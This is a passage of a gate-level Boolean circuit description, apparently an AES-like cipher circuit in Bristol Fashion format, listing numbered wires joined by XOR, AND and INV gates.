36551 INV +2 1 36551 271 911 XOR +2 1 303 911 943 XOR +2 1 335 943 975 XOR +2 1 367 975 1007 XOR +2 1 36583 911 783 XOR +2 1 943 783 815 XOR +2 1 975 815 847 XOR +2 1 1007 847 879 XOR +1 1 16179 36552 INV +2 1 36552 270 910 XOR +2 1 302 910 942 XOR +2 1 334 942 974 XOR +2 1 366 974 1006 XOR +2 1 36584 910 782 XOR +2 1 942 782 814 XOR +2 1 974 814 846 XOR +2 1 1006 846 878 XOR +2 1 878 876 12874 XOR +1 1 16178 36557 INV +2 1 36557 265 905 XOR +2 1 297 905 937 XOR +2 1 36589 905 777 XOR +2 1 329 937 969 XOR +2 1 361 969 1001 XOR +2 1 937 777 809 XOR +2 1 969 809 841 XOR +2 1 1001 841 873 XOR +2 1 879 873 12881 XOR +1 1 16177 36556 INV +2 1 36556 266 906 XOR +2 1 298 906 938 XOR +2 1 330 938 970 XOR +2 1 362 970 1002 XOR +2 1 36588 906 778 XOR +2 1 938 778 810 XOR +2 1 970 810 842 XOR +2 1 1002 842 874 XOR +2 1 874 12881 12967 XOR +2 1 878 12967 12963 XOR +2 1 12967 12963 12950 AND +2 1 1018 1016 19000 XOR +2 1 19000 19095 19080 XOR +2 1 1019 1016 19093 XOR +2 1 19093 19016 19089 XOR +2 1 19000 19006 19088 XOR +2 1 19016 19088 19086 XOR +2 1 18999 19093 19085 XOR +2 1 1023 19085 19084 XOR +2 1 19002 19000 18962 XOR +2 1 18999 18962 19083 XOR +2 1 1016 1022 19094 XOR +2 1 1016 1021 19092 XOR +2 1 19085 19089 19078 AND +2 1 19078 19002 19005 XOR +2 1 19086 19084 19077 AND +2 1 19094 19079 19075 AND +2 1 19075 19000 19004 XOR +2 1 19088 19081 19073 AND +2 1 19093 19082 19072 AND +2 1 19072 19001 19003 XOR +2 1 19005 19003 19009 XOR +2 1 1016 19009 19014 XOR +2 1 19095 19080 19071 AND +2 1 19071 19077 19023 XOR +2 1 19023 19014 19069 XOR +2 1 19071 19072 18975 XOR +2 1 18975 18976 19022 XOR +2 1 19022 19004 19021 XOR +2 1 19074 19021 19068 XOR +2 1 19092 19083 19070 AND +2 1 19070 19073 19024 XOR +2 1 19070 19076 19028 XOR +2 1 19028 19000 19015 XOR +2 1 19023 19015 19066 XOR +2 1 19071 19024 19018 XOR +2 1 19004 19024 18978 XOR +2 1 18978 19003 19067 XOR +2 1 19009 19028 18977 XOR +2 1 1018 18977 19020 XOR +2 1 19074 19018 18974 XOR +2 1 1022 18974 19061 XOR +2 1 19069 19068 19065 AND +2 1 19065 19020 19060 XOR +2 1 19065 19067 19064 XOR +2 1 19066 19064 19063 AND +2 1 19063 19020 19062 XOR +2 1 19063 19075 18969 XOR +2 1 18969 19005 18965 XOR +2 1 1016 18965 18968 XOR +2 1 19063 19014 18966 XOR +2 1 1018 18965 18964 XOR +2 1 19060 19061 19059 AND +2 1 19059 19067 19058 XOR +2 1 19065 19059 19057 XOR +2 1 19059 19018 18973 XOR +2 1 19059 19076 18972 XOR +2 1 18972 19073 18967 XOR +2 1 18967 18968 19050 XOR +2 1 19067 19057 19056 AND +2 1 19056 19064 19054 XOR +2 1 19056 19074 19027 XOR +2 1 19027 19021 19048 XOR +2 1 1022 19027 19010 XOR +2 1 19010 18973 19055 XOR +2 1 19062 19054 19053 AND +2 1 19053 19023 19013 XOR +2 1 19013 19015 19052 XOR +2 1 19053 19077 18971 XOR +2 1 19010 18971 18963 XOR +2 1 19000 18963 18970 XOR +2 1 18967 18970 19051 XOR +2 1 19013 18966 19049 XOR +2 1 18963 18964 19047 XOR +2 1 19048 19085 19046 AND +2 1 19055 19084 19045 AND +2 1 19058 1023 19044 AND +2 1 19044 19046 19026 XOR +2 1 19049 19079 19043 AND +2 1 19052 19091 19042 AND +2 1 19062 19081 19041 AND +2 1 19041 19042 18980 XOR +2 1 19050 19082 19040 AND +2 1 19047 19080 19039 AND +2 1 19039 19042 18995 XOR +1 1 18995 18992 INV +2 1 19039 19040 18991 XOR +2 1 19051 19083 19038 AND +2 1 19048 19089 19037 AND +2 1 19055 19086 19036 AND +2 1 19058 19090 19035 AND +2 1 19049 19094 19034 AND +2 1 19034 19038 19011 XOR +2 1 19043 19034 18996 XOR +1 1 19011 18989 INV +2 1 19052 19087 19033 AND +2 1 19041 19033 18998 XOR +2 1 19062 19088 19032 AND +2 1 18989 19032 18988 XOR +2 1 18988 19026 18984 XOR +2 1 19050 19093 19031 AND +2 1 19031 18984 18987 XOR +2 1 19047 19095 19030 AND +2 1 19030 19031 19025 XOR +2 1 19036 19025 19007 XOR +2 1 19037 19007 19008 XOR +2 1 19045 19008 19012 XOR +2 1 19046 19012 19017 XOR +2 1 18998 19025 18994 XOR +2 1 19026 18994 18997 XOR +2 1 18996 18997 19099 XOR +2 1 18989 18994 18993 XOR +2 1 18992 18993 19098 XOR +2 1 19017 18991 19097 XOR +2 1 19007 18984 18983 XOR +2 1 19044 19012 18981 XOR +2 1 18980 18981 36578 XOR +2 1 36578 916 788 XOR +2 1 948 788 820 XOR +2 1 980 820 852 XOR +2 1 1012 852 884 XOR +2 1 19051 19092 19029 AND +2 1 19040 19029 18990 XOR +1 1 18990 18986 INV +2 1 18986 18987 19096 XOR +1 1 19099 36575 INV +2 1 36575 919 791 XOR +2 1 951 791 823 XOR +2 1 983 823 855 XOR +2 1 1015 855 887 XOR +1 1 19098 36576 INV +2 1 36576 918 790 XOR +2 1 950 790 822 XOR +2 1 982 822 854 XOR +2 1 1014 854 886 XOR +1 1 19097 36581 INV +2 1 36581 913 785 XOR +2 1 945 785 817 XOR +2 1 977 817 849 XOR +2 1 1009 849 881 XOR +1 1 19096 36580 INV +2 1 36580 914 786 XOR +2 1 946 786 818 XOR +2 1 978 818 850 XOR +2 1 1010 850 882 XOR +2 1 890 888 21502 XOR +2 1 21502 21597 21582 XOR +2 1 891 888 21595 XOR +2 1 21595 21518 21591 XOR +2 1 21502 21508 21590 XOR +2 1 21518 21590 21588 XOR +2 1 21501 21595 21587 XOR +2 1 895 21587 21586 XOR +2 1 21504 21502 21464 XOR +2 1 21501 21464 21585 XOR +2 1 888 894 21596 XOR +2 1 888 893 21594 XOR +2 1 21587 21591 21580 AND +2 1 21580 21504 21507 XOR +2 1 21588 21586 21579 AND +2 1 21596 21581 21577 AND +2 1 21577 21502 21506 XOR +2 1 21590 21583 21575 AND +2 1 21595 21584 21574 AND +2 1 21574 21503 21505 XOR +2 1 21507 21505 21511 XOR +2 1 888 21511 21516 XOR +2 1 21597 21582 21573 AND +2 1 21573 21579 21525 XOR +2 1 21525 21516 21571 XOR +2 1 21573 21574 21477 XOR +2 1 21477 21478 21524 XOR +2 1 21524 21506 21523 XOR +2 1 21576 21523 21570 XOR +2 1 21594 21585 21572 AND +2 1 21572 21575 21526 XOR +2 1 21572 21578 21530 XOR +2 1 21530 21502 21517 XOR +2 1 21525 21517 21568 XOR +2 1 21573 21526 21520 XOR +2 1 21506 21526 21480 XOR +2 1 21480 21505 21569 XOR +2 1 21511 21530 21479 XOR +2 1 890 21479 21522 XOR +2 1 21576 21520 21476 XOR +2 1 894 21476 21563 XOR +2 1 21571 21570 21567 AND +2 1 21567 21522 21562 XOR +2 1 21567 21569 21566 XOR +2 1 21568 21566 21565 AND +2 1 21565 21522 21564 XOR +2 1 21565 21577 21471 XOR +2 1 21471 21507 21467 XOR +2 1 888 21467 21470 XOR +2 1 21565 21516 21468 XOR +2 1 890 21467 21466 XOR +2 1 21562 21563 21561 AND +2 1 21561 21569 21560 XOR +2 1 21567 21561 21559 XOR +2 1 21561 21520 21475 XOR +2 1 21561 21578 21474 XOR +2 1 21474 21575 21469 XOR +2 1 21469 21470 21552 XOR +2 1 21569 21559 21558 AND +2 1 21558 21566 21556 XOR +2 1 21558 21576 21529 XOR +2 1 21529 21523 21550 XOR +2 1 894 21529 21512 XOR +2 1 21512 21475 21557 XOR +2 1 21564 21556 21555 AND +2 1 21555 21525 21515 XOR +2 1 21515 21517 21554 XOR +2 1 21555 21579 21473 XOR +2 1 21512 21473 21465 XOR +2 1 21502 21465 21472 XOR +2 1 21469 21472 21553 XOR +2 1 21515 21468 21551 XOR +2 1 21465 21466 21549 XOR +2 1 21550 21587 21548 AND +2 1 21557 21586 21547 AND +2 1 21560 895 21546 AND +2 1 21546 21548 21528 XOR +2 1 21551 21581 21545 AND +2 1 21554 21593 21544 AND +2 1 21564 21583 21543 AND +2 1 21543 21544 21482 XOR +2 1 21552 21584 21542 AND +2 1 21549 21582 21541 AND +2 1 21541 21544 21497 XOR +1 1 21497 21494 INV +2 1 21541 21542 21493 XOR +2 1 21553 21585 21540 AND +2 1 21550 21591 21539 AND +2 1 21557 21588 21538 AND +2 1 21560 21592 21537 AND +2 1 21551 21596 21536 AND +2 1 21536 21540 21513 XOR +2 1 21545 21536 21498 XOR +1 1 21513 21491 INV +2 1 21554 21589 21535 AND +2 1 21543 21535 21500 XOR +2 1 21564 21590 21534 AND +2 1 21491 21534 21490 XOR +2 1 21490 21528 21486 XOR +2 1 21552 21595 21533 AND +2 1 21533 21486 21489 XOR +2 1 21549 21597 21532 AND +2 1 21532 21533 21527 XOR +2 1 21538 21527 21509 XOR +2 1 21539 21509 21510 XOR +2 1 21547 21510 21514 XOR +2 1 21548 21514 21519 XOR +2 1 21500 21527 21496 XOR +2 1 21528 21496 21499 XOR +2 1 21498 21499 21601 XOR +2 1 21491 21496 21495 XOR +2 1 21494 21495 21600 XOR +2 1 21519 21493 21599 XOR +2 1 21509 21486 21485 XOR +2 1 21546 21514 21483 XOR +2 1 21482 21483 36610 XOR +2 1 36610 788 660 XOR +2 1 820 660 692 XOR +2 1 852 692 724 XOR +2 1 884 724 756 XOR +2 1 21553 21594 21531 AND +2 1 21542 21531 21492 XOR +1 1 21492 21488 INV +2 1 21488 21489 21598 XOR +1 1 21601 36607 INV +2 1 36607 791 663 XOR +2 1 823 663 695 XOR +2 1 855 695 727 XOR +2 1 887 727 759 XOR +1 1 21600 36608 INV +2 1 36608 790 662 XOR +2 1 822 662 694 XOR +2 1 854 694 726 XOR +2 1 886 726 758 XOR +2 1 758 756 17748 XOR +1 1 21599 36613 INV +2 1 36613 785 657 XOR +2 1 817 657 689 XOR +2 1 849 689 721 XOR +2 1 881 721 753 XOR +2 1 759 753 17755 XOR +1 1 21598 36612 INV +2 1 36612 786 658 XOR +2 1 818 658 690 XOR +2 1 850 690 722 XOR +2 1 882 722 754 XOR +2 1 754 17755 17840 XOR +2 1 758 17840 17836 XOR +2 1 17840 17836 17823 AND +2 1 1006 1004 21640 XOR +2 1 1007 1001 21647 XOR +2 1 1002 21647 21732 XOR +2 1 1006 21732 21728 XOR +2 1 21732 21728 21715 AND +2 1 886 884 22613 XOR +2 1 887 881 22620 XOR +2 1 882 22620 22705 XOR +2 1 886 22705 22701 XOR +2 1 22705 22701 22688 AND +2 1 15984 15985 32668 XOR +2 1 15981 32668 15961 XOR +2 1 15982 15961 15921 XOR +2 1 15950 15921 36590 XOR +2 1 15977 15961 15927 XOR +1 1 15927 15924 INV +2 1 15924 15925 36585 XOR +2 1 32668 15959 36587 XOR +2 1 16123 16124 32669 XOR +2 1 16120 32669 16100 XOR +2 1 16121 16100 16060 XOR +2 1 16089 16060 36558 XOR +2 1 36558 264 904 XOR +2 1 296 904 936 XOR +2 1 36590 904 776 XOR +2 1 328 936 968 XOR +2 1 360 968 1000 XOR +2 1 936 776 808 XOR +2 1 968 808 840 XOR +2 1 1000 840 872 XOR +2 1 874 872 12875 XOR +2 1 16116 16100 16066 XOR +1 1 16066 16063 INV +2 1 872 878 12970 XOR +2 1 1002 1000 21641 XOR +2 1 21641 21647 21729 XOR +2 1 16063 16064 36553 XOR +2 1 1000 1006 21735 XOR +2 1 36553 269 909 XOR +2 1 301 909 941 XOR +2 1 333 941 973 XOR +2 1 365 973 1005 XOR +2 1 1005 21640 21642 XOR +2 1 1001 21642 21723 XOR +2 1 1002 21642 21720 XOR +2 1 21647 21642 21722 XOR +2 1 1006 1005 21657 XOR +2 1 21657 21729 21727 XOR +2 1 1004 1005 21617 XOR +2 1 1000 1005 21733 XOR +2 1 21735 21720 21716 AND +2 1 21716 21641 21645 XOR +2 1 21729 21722 21714 AND +2 1 36585 909 781 XOR +2 1 941 781 813 XOR +2 1 973 813 845 XOR +2 1 1005 845 877 XOR +2 1 877 12874 12876 XOR +2 1 874 12876 12955 XOR +2 1 878 877 12892 XOR +2 1 876 877 12851 XOR +2 1 872 877 12968 XOR +2 1 12970 12955 12951 AND +2 1 873 12876 12958 XOR +2 1 12951 12875 12879 XOR +2 1 12881 12876 12957 XOR +2 1 12875 12881 12964 XOR +2 1 12964 12957 12949 AND +2 1 12892 12964 12962 XOR +2 1 32669 16098 36555 XOR +2 1 36555 267 907 XOR +2 1 299 907 939 XOR +2 1 36587 907 779 XOR +2 1 331 939 971 XOR +2 1 363 971 1003 XOR +2 1 939 779 811 XOR +2 1 971 811 843 XOR +2 1 1003 843 875 XOR +2 1 875 873 12877 XOR +2 1 875 872 12969 XOR +2 1 12969 12892 12965 XOR +2 1 12874 12969 12961 XOR +2 1 879 12961 12960 XOR +2 1 877 875 12971 XOR +2 1 12875 12971 12956 XOR +2 1 12877 12875 12837 XOR +2 1 12874 12837 12959 XOR +2 1 12877 874 12836 XOR +2 1 879 12836 12966 XOR +2 1 12961 12965 12954 AND +2 1 12954 12877 12880 XOR +2 1 12962 12960 12953 AND +2 1 12966 879 12952 AND +2 1 12969 12958 12948 AND +2 1 12948 12876 12878 XOR +2 1 12880 12878 12884 XOR +2 1 872 12884 12890 XOR +2 1 12971 12956 12947 AND +2 1 12947 12953 12899 XOR +2 1 12899 12890 12945 XOR +2 1 12947 12948 12850 XOR +2 1 12850 12851 12898 XOR +2 1 12898 12879 12897 XOR +2 1 12950 12897 12944 XOR +2 1 12968 12959 12946 AND +2 1 12946 12949 12900 XOR +2 1 12946 12952 12904 XOR +2 1 12904 12875 12891 XOR +2 1 12899 12891 12942 XOR +2 1 12947 12900 12894 XOR +2 1 12879 12900 12853 XOR +2 1 12853 12878 12943 XOR +2 1 12884 12904 12852 XOR +2 1 874 12852 12896 XOR +2 1 12950 12894 12849 XOR +2 1 878 12849 12937 XOR +2 1 12945 12944 12941 AND +2 1 12941 12896 12936 XOR +2 1 12941 12943 12940 XOR +2 1 12942 12940 12939 AND +2 1 12939 12896 12938 XOR +2 1 12939 12951 12844 XOR +2 1 12844 12880 12840 XOR +2 1 872 12840 12843 XOR +2 1 12939 12890 12841 XOR +2 1 874 12840 12839 XOR +2 1 12936 12937 12935 AND +2 1 12935 12943 12934 XOR +2 1 12941 12935 12933 XOR +2 1 12935 12894 12848 XOR +2 1 12935 12952 12847 XOR +2 1 12847 12949 12842 XOR +2 1 12842 12843 12926 XOR +2 1 12943 12933 12932 AND +2 1 12932 12940 12930 XOR +2 1 12932 12950 12903 XOR +2 1 12903 12897 12924 XOR +2 1 878 12903 12885 XOR +2 1 12885 12848 12931 XOR +2 1 12938 12930 12929 AND +2 1 12929 12899 12889 XOR +2 1 12889 12891 12928 XOR +2 1 12929 12953 12846 XOR +2 1 12885 12846 12838 XOR +2 1 12875 12838 12845 XOR +2 1 12842 12845 12927 XOR +2 1 12889 12841 12925 XOR +2 1 12838 12839 12923 XOR +2 1 12924 12961 12922 AND +2 1 12931 12960 12921 AND +2 1 12934 879 12920 AND +2 1 12920 12922 12902 XOR +2 1 12925 12955 12919 AND +2 1 12928 12967 12918 AND +2 1 12918 12919 12887 XOR +2 1 12938 12957 12917 AND +2 1 12917 12918 12855 XOR +2 1 12926 12958 12916 AND +2 1 12923 12956 12915 AND +2 1 12915 12887 12895 XOR +2 1 12915 12918 12870 XOR +1 1 12870 12867 INV +2 1 12915 12916 12866 XOR +2 1 12916 12895 12854 XOR +2 1 12927 12959 12914 AND +2 1 12924 12965 12913 AND +2 1 12931 12962 12912 AND +2 1 12934 12966 12911 AND +2 1 12911 12895 12860 XOR +1 1 12860 12857 INV +2 1 12925 12970 12910 AND +2 1 12910 12914 12886 XOR +2 1 12919 12910 12871 XOR +1 1 12886 12864 INV +2 1 12928 12963 12909 AND +2 1 12917 12909 12873 XOR +2 1 12938 12964 12908 AND +2 1 12864 12908 12863 XOR +2 1 12863 12902 12859 XOR +2 1 12926 12969 12907 AND +2 1 12907 12859 12862 XOR +2 1 12923 12971 12906 AND +2 1 12906 12907 12901 XOR +2 1 12912 12901 12882 XOR +2 1 12913 12882 12883 XOR +2 1 12921 12883 12888 XOR +2 1 12922 12888 12893 XOR +2 1 12887 12893 36627 XOR +2 1 12873 12901 12869 XOR +2 1 12902 12869 12872 XOR +2 1 12871 12872 12975 XOR +2 1 12864 12869 12868 XOR +2 1 12867 12868 12974 XOR +2 1 12893 12866 12973 XOR +2 1 12882 12859 12858 XOR +2 1 12857 12858 36625 XOR +2 1 12920 12888 12856 XOR +2 1 12855 12856 36626 XOR +2 1 12883 12854 36630 XOR +2 1 12927 12968 12905 AND +2 1 12916 12905 12865 XOR +1 1 12865 12861 INV +2 1 12861 12862 12972 XOR +1 1 12975 36623 INV +1 1 12974 36624 INV +1 1 12973 36629 INV +1 1 12972 36628 INV +2 1 1003 1001 21643 XOR +2 1 1003 1000 21734 XOR +2 1 21734 21657 21730 XOR +2 1 21640 21734 21726 XOR +2 1 1007 21726 21725 XOR +2 1 1005 1003 21736 XOR +2 1 21641 21736 21721 XOR +2 1 21643 21641 21603 XOR +2 1 21640 21603 21724 XOR +2 1 21643 1002 21602 XOR +2 1 1007 21602 21731 XOR +2 1 21726 21730 21719 AND +2 1 21719 21643 21646 XOR +2 1 21727 21725 21718 AND +2 1 21731 1007 21717 AND +2 1 21734 21723 21713 AND +2 1 21713 21642 21644 XOR +2 1 21646 21644 21650 XOR +2 1 1000 21650 21655 XOR +2 1 21736 21721 21712 AND +2 1 21712 21718 21664 XOR +2 1 21664 21655 21710 XOR +2 1 21712 21713 21616 XOR +2 1 21616 21617 21663 XOR +2 1 21663 21645 21662 XOR +2 1 21715 21662 21709 XOR +2 1 21733 21724 21711 AND +2 1 21711 21714 21665 XOR +2 1 21711 21717 21669 XOR +2 1 21669 21641 21656 XOR +2 1 21664 21656 21707 XOR +2 1 21712 21665 21659 XOR +2 1 21645 21665 21619 XOR +2 1 21619 21644 21708 XOR +2 1 21650 21669 21618 XOR +2 1 1002 21618 21661 XOR +2 1 21715 21659 21615 XOR +2 1 1006 21615 21702 XOR +2 1 21710 21709 21706 AND +2 1 21706 21661 21701 XOR +2 1 21706 21708 21705 XOR +2 1 21707 21705 21704 AND +2 1 21704 21661 21703 XOR +2 1 21704 21716 21610 XOR +2 1 21610 21646 21606 XOR +2 1 1000 21606 21609 XOR +2 1 21704 21655 21607 XOR +2 1 1002 21606 21605 XOR +2 1 21701 21702 21700 AND +2 1 21700 21708 21699 XOR +2 1 21706 21700 21698 XOR +2 1 21700 21659 21614 XOR +2 1 21700 21717 21613 XOR +2 1 21613 21714 21608 XOR +2 1 21608 21609 21691 XOR +2 1 21708 21698 21697 AND +2 1 21697 21705 21695 XOR +2 1 21697 21715 21668 XOR +2 1 21668 21662 21689 XOR +2 1 1006 21668 21651 XOR +2 1 21651 21614 21696 XOR +2 1 21703 21695 21694 AND +2 1 21694 21664 21654 XOR +2 1 21654 21656 21693 XOR +2 1 21694 21718 21612 XOR +2 1 21651 21612 21604 XOR +2 1 21641 21604 21611 XOR +2 1 21608 21611 21692 XOR +2 1 21654 21607 21690 XOR +2 1 21604 21605 21688 XOR +2 1 21689 21726 21687 AND +2 1 21696 21725 21686 AND +2 1 21699 1007 21685 AND +2 1 21685 21687 21667 XOR +2 1 21690 21720 21684 AND +2 1 21693 21732 21683 AND +2 1 21703 21722 21682 AND +2 1 21682 21683 21621 XOR +2 1 21691 21723 21681 AND +2 1 21688 21721 21680 AND +2 1 21680 21683 21636 XOR +1 1 21636 21633 INV +2 1 21680 21681 21632 XOR +2 1 21692 21724 21679 AND +2 1 21689 21730 21678 AND +2 1 21696 21727 21677 AND +2 1 21699 21731 21676 AND +2 1 21690 21735 21675 AND +2 1 21675 21679 21652 XOR +2 1 21684 21675 21637 XOR +1 1 21652 21630 INV +2 1 21693 21728 21674 AND +2 1 21682 21674 21639 XOR +2 1 21703 21729 21673 AND +2 1 21630 21673 21629 XOR +2 1 21629 21667 21625 XOR +2 1 21691 21734 21672 AND +2 1 21672 21625 21628 XOR +2 1 21688 21736 21671 AND +2 1 21671 21672 21666 XOR +2 1 21677 21666 21648 XOR +2 1 21678 21648 21649 XOR +2 1 21686 21649 21653 XOR +2 1 21687 21653 21658 XOR +2 1 21639 21666 21635 XOR +2 1 21667 21635 21638 XOR +2 1 21637 21638 21740 XOR +2 1 21630 21635 21634 XOR +2 1 21633 21634 21739 XOR +2 1 21658 21632 21738 XOR +2 1 21648 21625 21624 XOR +2 1 21685 21653 21622 XOR +2 1 21621 21622 36594 XOR +2 1 36594 900 1548 XOR +2 1 932 1548 1549 XOR +2 1 964 1549 1550 XOR +2 1 996 1550 1551 XOR +1 1 1551 868 INV +1 1 1550 836 INV +1 1 1549 804 INV +1 1 1548 772 INV +2 1 36626 772 644 XOR +2 1 804 644 676 XOR +2 1 836 676 708 XOR +2 1 868 708 740 XOR +2 1 21692 21733 21670 AND +2 1 21681 21670 21631 XOR +1 1 21631 21627 INV +2 1 21627 21628 21737 XOR +1 1 21740 36591 INV +2 1 36591 903 775 XOR +2 1 36623 775 647 XOR +2 1 935 775 807 XOR +2 1 967 807 839 XOR +2 1 999 839 871 XOR +2 1 807 647 679 XOR +2 1 839 679 711 XOR +2 1 871 711 743 XOR +1 1 21739 36592 INV +2 1 36592 902 774 XOR +2 1 934 774 806 XOR +2 1 966 806 838 XOR +2 1 998 838 870 XOR +2 1 36624 774 646 XOR +2 1 806 646 678 XOR +2 1 838 678 710 XOR +2 1 870 710 742 XOR +2 1 742 740 17053 XOR +1 1 21738 36597 INV +2 1 36597 897 769 XOR +2 1 36629 769 641 XOR +2 1 929 769 801 XOR +2 1 961 801 833 XOR +2 1 993 833 865 XOR +2 1 801 641 673 XOR +2 1 833 673 705 XOR +2 1 865 705 737 XOR +2 1 743 737 17060 XOR +1 1 21737 36596 INV +2 1 36596 898 770 XOR +2 1 930 770 802 XOR +2 1 962 802 834 XOR +2 1 994 834 866 XOR +2 1 36628 770 642 XOR +2 1 802 642 674 XOR +2 1 834 674 706 XOR +2 1 866 706 738 XOR +2 1 738 17060 17145 XOR +2 1 742 17145 17141 XOR +2 1 17145 17141 17128 AND +2 1 870 868 24566 XOR +2 1 871 865 24573 XOR +2 1 866 24573 24658 XOR +2 1 870 24658 24654 XOR +2 1 24658 24654 24641 AND +2 1 19042 19043 32690 XOR +2 1 19039 32690 19019 XOR +2 1 19035 19019 18985 XOR +1 1 18985 18982 INV +2 1 18982 18983 36577 XOR +2 1 36577 917 789 XOR +2 1 949 789 821 XOR +2 1 981 821 853 XOR +2 1 1013 853 885 XOR +2 1 885 22613 22615 XOR +2 1 881 22615 22696 XOR +2 1 882 22615 22693 XOR +2 1 22620 22615 22695 XOR +2 1 886 885 22630 XOR +2 1 884 885 22590 XOR +2 1 19040 19019 18979 XOR +2 1 19008 18979 36582 XOR +2 1 36582 912 784 XOR +2 1 944 784 816 XOR +2 1 976 816 848 XOR +2 1 1008 848 880 XOR +2 1 880 886 22708 XOR +2 1 880 885 22706 XOR +2 1 22708 22693 22689 AND +2 1 882 880 22614 XOR +2 1 22614 22620 22702 XOR +2 1 22689 22614 22618 XOR +2 1 22702 22695 22687 AND +2 1 22630 22702 22700 XOR +2 1 32690 19017 36579 XOR +2 1 36579 915 787 XOR +2 1 947 787 819 XOR +2 1 979 819 851 XOR +2 1 1011 851 883 XOR +2 1 883 881 22616 XOR +2 1 883 880 22707 XOR +2 1 22707 22630 22703 XOR +2 1 22613 22707 22699 XOR +2 1 887 22699 22698 XOR +2 1 885 883 22709 XOR +2 1 22614 22709 22694 XOR +2 1 22616 22614 22576 XOR +2 1 22613 22576 22697 XOR +2 1 22616 882 22575 XOR +2 1 887 22575 22704 XOR +2 1 22699 22703 22692 AND +2 1 22692 22616 22619 XOR +2 1 22700 22698 22691 AND +2 1 22704 887 22690 AND +2 1 22707 22696 22686 AND +2 1 22686 22615 22617 XOR +2 1 22619 22617 22623 XOR +2 1 880 22623 22628 XOR +2 1 22709 22694 22685 AND +2 1 22685 22691 22637 XOR +2 1 22637 22628 22683 XOR +2 1 22685 22686 22589 XOR +2 1 22589 22590 22636 XOR +2 1 22636 22618 22635 XOR +2 1 22688 22635 22682 XOR +2 1 22706 22697 22684 AND +2 1 22684 22687 22638 XOR +2 1 22684 22690 22642 XOR +2 1 22642 22614 22629 XOR +2 1 22637 22629 22680 XOR +2 1 22685 22638 22632 XOR +2 1 22618 22638 22592 XOR +2 1 22592 22617 22681 XOR +2 1 22623 22642 22591 XOR +2 1 882 22591 22634 XOR +2 1 22688 22632 22588 XOR +2 1 886 22588 22675 XOR +2 1 22683 22682 22679 AND +2 1 22679 22634 22674 XOR +2 1 22679 22681 22678 XOR +2 1 22680 22678 22677 AND +2 1 22677 22634 22676 XOR +2 1 22677 22689 22583 XOR +2 1 22583 22619 22579 XOR +2 1 880 22579 22582 XOR +2 1 22677 22628 22580 XOR +2 1 882 22579 22578 XOR +2 1 22674 22675 22673 AND +2 1 22673 22681 22672 XOR +2 1 22679 22673 22671 XOR +2 1 22673 22632 22587 XOR +2 1 22673 22690 22586 XOR +2 1 22586 22687 22581 XOR +2 1 22581 22582 22664 XOR +2 1 22681 22671 22670 AND +2 1 22670 22678 22668 XOR +2 1 22670 22688 22641 XOR +2 1 22641 22635 22662 XOR +2 1 886 22641 22624 XOR +2 1 22624 22587 22669 XOR +2 1 22676 22668 22667 AND +2 1 22667 22637 22627 XOR +2 1 22627 22629 22666 XOR +2 1 22667 22691 22585 XOR +2 1 22624 22585 22577 XOR +2 1 22614 22577 22584 XOR +2 1 22581 22584 22665 XOR +2 1 22627 22580 22663 XOR +2 1 22577 22578 22661 XOR +2 1 22662 22699 22660 AND +2 1 22669 22698 22659 AND +2 1 22672 887 22658 AND +2 1 22658 22660 22640 XOR +2 1 22663 22693 22657 AND +2 1 22666 22705 22656 AND +2 1 22676 22695 22655 AND +2 1 22655 22656 22594 XOR +2 1 22664 22696 22654 AND +2 1 22661 22694 22653 AND +2 1 22653 22656 22609 XOR +1 1 22609 22606 INV +2 1 22653 22654 22605 XOR +2 1 22665 22697 22652 AND +2 1 22662 22703 22651 AND +2 1 22669 22700 22650 AND +2 1 22672 22704 22649 AND +2 1 22663 22708 22648 AND +2 1 22648 22652 22625 XOR +2 1 22657 22648 22610 XOR +1 1 22625 22603 INV +2 1 22666 22701 22647 AND +2 1 22655 22647 22612 XOR +2 1 22676 22702 22646 AND +2 1 22603 22646 22602 XOR +2 1 22602 22640 22598 XOR +2 1 22664 22707 22645 AND +2 1 22645 22598 22601 XOR +2 1 22661 22709 22644 AND +2 1 22644 22645 22639 XOR +2 1 22650 22639 22621 XOR +2 1 22651 22621 22622 XOR +2 1 22659 22622 22626 XOR +2 1 22660 22626 22631 XOR +2 1 22612 22639 22608 XOR +2 1 22640 22608 22611 XOR +2 1 22610 22611 22713 XOR +2 1 22603 22608 22607 XOR +2 1 22606 22607 22712 XOR +2 1 22631 22605 22711 XOR +2 1 22621 22598 22597 XOR +2 1 22658 22626 22595 XOR +2 1 22594 22595 36618 XOR +2 1 36618 780 652 XOR +2 1 812 652 684 XOR +2 1 844 684 716 XOR +2 1 876 716 748 XOR +2 1 22665 22706 22643 AND +2 1 22654 22643 22604 XOR +1 1 22604 22600 INV +2 1 22600 22601 22710 XOR +1 1 22713 36615 INV +2 1 36615 783 655 XOR +2 1 815 655 687 XOR +2 1 847 687 719 XOR +2 1 879 719 751 XOR +1 1 22712 36616 INV +2 1 36616 782 654 XOR +2 1 814 654 686 XOR +2 1 846 686 718 XOR +2 1 878 718 750 XOR +2 1 750 748 18860 XOR +1 1 22711 36621 INV +2 1 36621 777 649 XOR +2 1 809 649 681 XOR +2 1 841 681 713 XOR +2 1 873 713 745 XOR +2 1 751 745 18867 XOR +1 1 22710 36620 INV +2 1 36620 778 650 XOR +2 1 810 650 682 XOR +2 1 842 682 714 XOR +2 1 874 714 746 XOR +2 1 746 18867 18952 XOR +2 1 750 18952 18948 XOR +2 1 18952 18948 18935 AND +2 1 21544 21545 32708 XOR +2 1 21541 32708 21521 XOR +2 1 21542 21521 21481 XOR +2 1 21537 21521 21487 XOR +1 1 21487 21484 INV +2 1 21484 21485 36609 XOR +2 1 21510 21481 36614 XOR +2 1 36614 784 656 XOR +2 1 816 656 688 XOR +2 1 848 688 720 XOR +2 1 880 720 752 XOR +2 1 754 752 17749 XOR +2 1 17749 17755 17837 XOR +2 1 752 758 17843 XOR +2 1 36609 789 661 XOR +2 1 821 661 693 XOR +2 1 853 693 725 XOR +2 1 885 725 757 XOR +2 1 757 17748 17750 XOR +2 1 754 17750 17828 XOR +2 1 17755 17750 17830 XOR +2 1 17843 17828 17824 AND +2 1 17824 17749 17753 XOR +2 1 753 17750 17831 XOR +2 1 17837 17830 17822 AND +2 1 756 757 17725 XOR +2 1 758 757 17765 XOR +2 1 17765 17837 17835 XOR +2 1 752 757 17841 XOR +2 1 32708 21519 36611 XOR +2 1 36611 787 659 XOR +2 1 819 659 691 XOR +2 1 851 691 723 XOR +2 1 883 723 755 XOR +2 1 755 753 17751 XOR +2 1 755 752 17842 XOR +2 1 17842 17765 17838 XOR +2 1 17748 17842 17834 XOR +2 1 759 17834 17833 XOR +2 1 757 755 17844 XOR +2 1 17749 17844 17829 XOR +2 1 17751 17749 17711 XOR +2 1 17748 17711 17832 XOR 